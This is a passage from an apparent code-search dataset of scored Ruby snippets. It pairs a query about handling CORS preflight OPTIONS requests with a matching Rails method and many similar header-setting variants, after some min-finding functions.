"docid": "0cfcd196577e49f6cf45082e254fc111",
"score": "0.5690714",
"text": "def dbl_linear(n)\n result = [1] # base\n\n i = 0 # pointer for 2x + 1\n j = 0 # pointer for 3x + 1\n\n until result.size == n + 1 # because n is an index (size - 1)\n list1 = 2 * result[i] + 1\n list2 = 3 * result[j] + 1\n min = [list1, list2].min\n\n result << min\n\n i += 1 if min == list1\n j += 1 if min == list2\n end\n\n result.last\nend",
"title": ""
},
{
"docid": "22103ffbe045b916a3b6e9badbf91824",
"score": "0.5689864",
"text": "def best_my_min(arr)\n smallest = arr.shift\n arr.each do |el|\n smallest = el unless el > smallest\n end\n smallest\nend",
"title": ""
},
{
"docid": "653eb69449aca84380dbce7fd46d4198",
"score": "0.56892693",
"text": "def smallest_integer(list_of_nums)\n\tans = list_of_nums.min \nend",
"title": ""
},
{
"docid": "2458aaed892d712323eb244776d002f6",
"score": "0.5685394",
"text": "def smallest_integer(list_of_nums)\n\n small_int = list_of_nums[0]\n list_of_nums.each do |small|\n if small < small_int\n small_int = small\n end\n end\n return small_int\nend",
"title": ""
},
{
"docid": "66eede7dc9b0dd8b0ddea7dd72897ab6",
"score": "0.5685244",
"text": "def my_min(arr)\n smallest = nil\n\n arr.each do |n|\n smallest = n if smallest.nil? || n < smallest\n end\n\n smallest\nend",
"title": ""
},
{
"docid": "94a063395a6519fddc9ba5bfbd677e49",
"score": "0.56849045",
"text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n x = list_of_nums[0]\n list_of_nums.each do |y|\n if y < x\n x = y\n end\n end\n return x\nend",
"title": ""
},
{
"docid": "7ea13486c0697733959aa620a55e99db",
"score": "0.56741214",
"text": "def my_min(array) # O(n) - Linear\n counter = array[0]\n\n (1...array.length).each do |i|\n if counter > array[i]\n counter = array[i]\n end\n end\n counter\nend",
"title": ""
},
{
"docid": "45b1419b7bd6dd5f78a3fbef1a383548",
"score": "0.5668283",
"text": "def solution(a)\n (0..a.size - 2).map { |i| ( a[0..i].inject(:+) - a[i+1..a.size].inject(:+) ).abs }.min\nend",
"title": ""
},
{
"docid": "feaed403c07d4bd976ef4bc0f324efc8",
"score": "0.56655186",
"text": "def smallest_multiple_rec range = 1..20, value = 1\n return value if range.size == 1\n f, l = range.first, range.last\n value = value.lcm f\n smallest_multiple_rec((f + 1)..l, value)\nend",
"title": ""
},
{
"docid": "cb3b04435b4377fc78bd8857877bfe5d",
"score": "0.56652164",
"text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n\tsmall = list_of_nums[0]\n\tlist_of_nums.each do |x|\n\t\tsmall = x if x < small\n\tend\n\treturn small\nend",
"title": ""
},
{
"docid": "237ed6ace85816ab6f48630a1b098319",
"score": "0.5663822",
"text": "def first_n_smallest_ms_x(arr, n)\n m = arr.min(n)\n arr.each_with_object([]) {|e,r| r << m.slice!(m.index(e)) if m.include?(e)}\nend",
"title": ""
},
{
"docid": "5180331263c81b6f9e046a1745756986",
"score": "0.5661859",
"text": "def smallest_integer(list_of_nums)\n small = list_of_nums[0]\n list_of_nums.each do |num|\n if num < small\n small = num\n end\n end\nsmall\nend",
"title": ""
}
] |
13567753eeb144557c4ceae97dc62077
|
If this is a preflight OPTIONS request, then shortcircuit the request, return only the necessary headers and return an empty text/plain.
|
[
{
"docid": "fe154407ea9f33af5df05a5ffe973af6",
"score": "0.7098383",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\nend",
"title": ""
}
] |
[
{
"docid": "c01beb23714dd89b52bf69d8ac226e17",
"score": "0.76129806",
"text": "def handle_options\n head(:ok) if request.request_method == \"OPTIONS\"\n end",
"title": ""
},
{
"docid": "a1551a2cb6679b07269ec79c28d2ee03",
"score": "0.7466649",
"text": "def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "8ce17ec8d680d21873286e08d9722e42",
"score": "0.74087447",
"text": "def cors_preflight_check\n if request.method == :options\n cors_set_access_control_headers\n render text: ''\n end\n end",
"title": ""
},
{
"docid": "8ce17ec8d680d21873286e08d9722e42",
"score": "0.74087447",
"text": "def cors_preflight_check\n if request.method == :options\n cors_set_access_control_headers\n render text: ''\n end\n end",
"title": ""
},
{
"docid": "f6390cd814cc204aa97f4fdc18350e4e",
"score": "0.7306986",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Access-Control-Allow-Origin, X-Requested-With, X-Prototype-Version, Content-Type'\n headers['Access-Control-Max-Age'] = '1728000'\n render text: \"\" if request.method == \"OPTIONS\"\n end",
"title": ""
},
{
"docid": "f6f729e61c76c280cc267d936ad4b27f",
"score": "0.7287875",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "f043c1033df7153416933ab6c08b4d3f",
"score": "0.7263257",
"text": "def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Token'\n headers['Access-Control-Max-Age'] = '1728000'\n\n render text: '', content_type: 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "3b322d14aceffac88e2eb282da3dab28",
"score": "0.7238807",
"text": "def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Content-Type'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "6989cc930ce2adae649ac26c7320416e",
"score": "0.72342855",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "94e4a6f7c4b99953fbd95503cad0dce0",
"score": "0.721725",
"text": "def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*' #'Origin, X-Requested-With, Content-Type, Accept, Authorization, Token'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "c7cf57b90fe9db3510083135a7ea8ebf",
"score": "0.72160274",
"text": "def cors_preflight_check\n if request.method == 'OPTIONS'\n headers['Access-Control-Allow-Credentials'] = true\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'Content-Type, X-Experience-API-Version,Authorization,X-Requested-With, X-Prototype-Version, Token'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "09fd1c0a05272fa62ecbfa62137e88ba",
"score": "0.72137094",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "eddab6fe16024781f0fc4af924c209d0",
"score": "0.7212085",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "eddab6fe16024781f0fc4af924c209d0",
"score": "0.7212085",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "eddab6fe16024781f0fc4af924c209d0",
"score": "0.7212085",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "eddab6fe16024781f0fc4af924c209d0",
"score": "0.7212085",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "eddab6fe16024781f0fc4af924c209d0",
"score": "0.7212085",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "eddab6fe16024781f0fc4af924c209d0",
"score": "0.7212085",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "eddab6fe16024781f0fc4af924c209d0",
"score": "0.7212085",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "0b66bd1404dac43e596f247120314cad",
"score": "0.7198672",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, DELETE'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "a0981516131f18abf3263105b718fc32",
"score": "0.7198372",
"text": "def cors_preflight_check\n if request.method.downcase == 'options'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, Content-Type, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "a0981516131f18abf3263105b718fc32",
"score": "0.7198372",
"text": "def cors_preflight_check\n if request.method.downcase == 'options'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, Content-Type, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "a0981516131f18abf3263105b718fc32",
"score": "0.7198372",
"text": "def cors_preflight_check\n if request.method.downcase == 'options'\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, Content-Type, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "ec5c442543d1d73b51f57d74f8a623d3",
"score": "0.7178975",
"text": "def try_options\n\t\t\treturn unless request.http_method == :OPTIONS\n\n\t\t\tallow = available_endpoint&.allow\n\t\t\thalt 404 unless allow\n\t\t\tresponse.headers['Allow'] = allow\n\t\tend",
"title": ""
},
{
"docid": "af826b3495e0e67d8d777180c8ceda58",
"score": "0.71586585",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = \"*\"\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n render :text=>'', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "5846aac0ce548dfffa568c6ab485f15d",
"score": "0.71518385",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "9707ee799863ab7cb90640997add5837",
"score": "0.7151823",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "0abbeb8b85a483cdcb2451774a3bdf2f",
"score": "0.7135145",
"text": "def cors_preflight_check\n if request.method == \"OPTIONS\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, PUT, DELETE'\n #headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "273e613c79a8ef6c8001b56b808dea47",
"score": "0.71220577",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, DELETE, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*, X-Requested-By, X-Requested-With, X-Prototype-Version, X-CSRF-Token, Content-Type'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "99f912843c0a0213384f16ce2684cbdd",
"score": "0.7117675",
"text": "def cors_preflight_check\n\t\tif request.method == :options\n\t\t\theaders['Access-Control-Allow-Origin'] = '*'\n\t\t\theaders['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t\t\theaders['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n\t\t\theaders['Access-Control-Max-Age'] = '1728000'\n\t\t\trender :text => '', :content_type => 'text/plain'\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e8ce1297e092b8baac186c67e5d0bfd2",
"score": "0.7109717",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, PUT, DELETE, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\nend",
"title": ""
},
{
"docid": "acbd520b26fdf453df37ecc9dffb1800",
"score": "0.71014965",
"text": "def cors_preflight_check\n\t if request.method == :options\n\t headers['Access-Control-Allow-Origin'] = '*'\n\t headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n\t headers['Access-Control-Allow-Headers'] = '*'\n\t headers['Access-Control-Request-Method'] = '*' \n\t headers['Access-Control-Max-Age'] = '1728000'\n\t render :text => '', :content_type => 'text/plain'\n\t end\n\tend",
"title": ""
},
{
"docid": "28dd9cf63a214c5921d30f91b94b6125",
"score": "0.7047692",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version,Accept,Origin'\n if request.method.casecmp(\"OPTIONS\") == 0\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\nend",
"title": ""
},
{
"docid": "93d7f821c9a7f44df450a61b1ea24d7b",
"score": "0.7039185",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = '*'\n headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n headers['Access-Control-Allow-Headers'] = 'Origin, X-Requested-With, Content-Type, Accept, Authorization'\n end\n end",
"title": ""
},
{
"docid": "c5c79bd0b8ce3dc53e1b4b239bffbaaa",
"score": "0.68449426",
"text": "def allow_cors\n headers[\"Access-Control-Allow-Origin\"] = \"*\"\n headers[\"Access-Control-Allow-Methods\"] = %w{GET POST PUT DELETE}.join(\",\")\n headers[\"Access-Control-Allow-Headers\"] =\n %w{Origin Accept Content-Type X-Requested-With X-CSRF-Token X-AuthToken X-Identity Authorization}.join(\",\")\n\n render text: '' if request.request_method == \"OPTIONS\"\n end",
"title": ""
},
{
"docid": "eb03f6a7b0d59760eed93ae7e0977722",
"score": "0.6840626",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, PUT, PATCH, DELETE'\n headers['Access-Control-Allow-Headers'] = '*'\n end\n end",
"title": ""
},
{
"docid": "d480cdb35a4d2ba8c06938ef2938d892",
"score": "0.6822562",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, DELETE'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Authorization'\n end\n end",
"title": ""
},
{
"docid": "d0be9833d471cf7887a48119801c3c47",
"score": "0.68174297",
"text": "def do_OPTIONS(request, response)\n super\n\n response.header['Access-Control-Allow-Methods'] = 'POST, OPTIONS'\n response.status = Server.status_code('OPTIONS')\n end",
"title": ""
},
{
"docid": "6979f651e1a37a23593973e2bae023fa",
"score": "0.6780025",
"text": "def cors_preflight_check\n logger.info \">>> responding to CORS request\"\n render :text => '', :content_type => 'text/plain'\n end",
"title": ""
},
{
"docid": "6979f651e1a37a23593973e2bae023fa",
"score": "0.6780025",
"text": "def cors_preflight_check\n logger.info \">>> responding to CORS request\"\n render :text => '', :content_type => 'text/plain'\n end",
"title": ""
},
{
"docid": "88529b7e2dc92b54a949d6026e0a4df1",
"score": "0.6761751",
"text": "def cors_preflight_check\n if request.method == \"OPTIONS\"\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'GET, PUT, POST, DELETE, OPTIONS, PATCH'\n headers['Access-Control-Allow-Headers'] = 'X-CSRF-Token, X-Requested-With, X-Prototype-Version, content-type, ' + @token_name\n headers['Access-Control-Max-Age'] = '1728000'\n render(plain: '', content_type: 'text/plain')\n false\n end\n true\n end",
"title": ""
},
{
"docid": "800063cc0d28c0a1a9538ac56ff206a5",
"score": "0.6761529",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, DELETE'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n end\n end",
"title": ""
},
{
"docid": "cbd3156b0105fe5fea37bad67a529c49",
"score": "0.67134607",
"text": "def cors_preflight\n head(:ok)\n end",
"title": ""
},
{
"docid": "acae1378d2da137e71ac1a7091739ce8",
"score": "0.6689397",
"text": "def cors_preflight_check\n if request.method == :options\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version, Content-Length, bookmarklet_session_token, Content-Type'\n headers['Access-Control-Max-Age'] = '1728000'\n render :json => {}, :content_type => \"application/json\"\n end\n end",
"title": ""
},
{
"docid": "77b2a00508db16f38222d48967a1d6fd",
"score": "0.66279656",
"text": "def cors_handling\n if request.method == \"OPTIONS\"\n response.headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n response.headers['Access-Control-Allow-Headers'] = '*'\n response.headers['Access-Control-Max-Age'] = '1728000'\n render :text => '', :content_type => 'text/plain'\n end\n end",
"title": ""
},
{
"docid": "4dd27809f52d1cc0c8defb09169de4fc",
"score": "0.66219664",
"text": "def options\n response_headers = {\n 'Access-Control-Allow-Methods' => 'POST, OPTIONS',\n 'Access-Control-Allow-Headers' => 'Content-Type',\n 'Access-Control-Max-Age' => '86400'\n }\n\n [204, response_headers.merge(cors_allow_header), []]\n end",
"title": ""
},
{
"docid": "75805dd4a29d6a859695afc0f858bd32",
"score": "0.6621491",
"text": "def do_OPTIONS(_req, res)\r\n res['allow'] = 'GET,HEAD,POST,OPTIONS,CONNECT,PUT,PATCH,DELETE'\r\n end",
"title": ""
},
{
"docid": "dbd096e2e419c31864903f58fadb2bee",
"score": "0.6586216",
"text": "def do_OPTIONS(req, res)\n @logger.debug \"run do_OPTIONS\"\n #res[\"DAV\"] = \"1,2\"\n res[\"DAV\"] = \"1\"\n res[\"MS-Author-Via\"] = \"DAV\"\n super\n end",
"title": ""
},
{
"docid": "e735c3b1c1778c8a56f29cf15d5f5929",
"score": "0.6571212",
"text": "def options\n response_headers = {\n 'Access-Control-Allow-Methods' => 'POST, GET, PUT, OPTIONS, DELETE',\n 'Access-Control-Allow-Headers' => 'Content-Type',\n 'Access-Control-Max-Age' => '86400'\n }\n\n [204, response_headers.merge(cors_allow_header), []]\n end",
"title": ""
},
{
"docid": "8d6809283258237fc537a7bde09c6851",
"score": "0.6538303",
"text": "def do_OPTIONS(request, response)\n super\n\n response.header['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'\n end",
"title": ""
},
{
"docid": "1ef13dcf667adcd708c6e73fabde7e6d",
"score": "0.65215147",
"text": "def reply_to_options\n allow = @headers['Access-Control-Request-Headers']\n headers = [\n \"Access-Control-Allow-Origin: *\",\n \"Access-Control-Allow-Methods: POST, GET, OPTIONS\",\n \"Access-Control-Allow-Headers: #{allow}\",\n \"Access-Control-Max-Age: #{60 * 60 * 24 * 30}\"\n ]\n send_status(200, 'OK', headers)\n end",
"title": ""
},
{
"docid": "3e15137983e485f2d6f05fab1cac730a",
"score": "0.6428372",
"text": "def options\n # echo back access-control-request-headers\n if request.headers[\"Access-Control-Request-Headers\"]\n response[\"Access-Control-Allow-Headers\"] =\n request.headers[\"Access-Control-Request-Headers\"]\n end\n render body: \"\", status: 200\n end",
"title": ""
},
{
"docid": "a1fc648599cbf34bc77b254ba7e59925",
"score": "0.6388827",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "a1fc648599cbf34bc77b254ba7e59925",
"score": "0.6388827",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'PUT, POST, GET, OPTIONS'\n headers['Access-Control-Request-Method'] = '*'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "3f388b40d022e5bf923903fd7a177f13",
"score": "0.6381266",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "22f62745965598c699154d634a2db759",
"score": "0.6375779",
"text": "def handle_preflight_request( request )\n\t\tpath = request.app_path\n\t\tresponse = request.response\n\n\t\tself.class.access_controls.each do |pattern, options|\n\t\t\tself.log.debug \"Applying access controls: %p (%p)\" % [ pattern, options ]\n\n\t\t\t# TODO: Skip requests that don't match options? E.g.,\n\t\t\t# next unless options[:allowed_methods].include?( request.verb )\n\n\t\t\toptions[:block].call( request, response ) if\n\t\t\t\toptions[:block] && ( !pattern || path.match(pattern) )\n\t\tend\n\n\t\tresponse.add_cors_headers\n\t\tresponse.status = 204\n\n\t\treturn response\n\tend",
"title": ""
},
{
"docid": "b118dee915d5cf91d47418c935e7e522",
"score": "0.6372759",
"text": "def cors_preflight_check\r\n headers['Access-Control-Allow-Origin'] = '*'\r\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\r\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\r\n headers['Access-Control-Max-Age'] = '1728000'\r\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.63513035",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.63513035",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.63513035",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.63513035",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.63513035",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.63513035",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.63513035",
"text": "def cors_preflight_check\n headers['Access-Control-Allow-Origin'] = '*'\n headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'\n headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-Prototype-Version'\n headers['Access-Control-Max-Age'] = '1728000'\n end",
"title": ""
},
{
"docid": "7db50161f7d2479b504a572dfeb01779",
"score": "0.63513035",
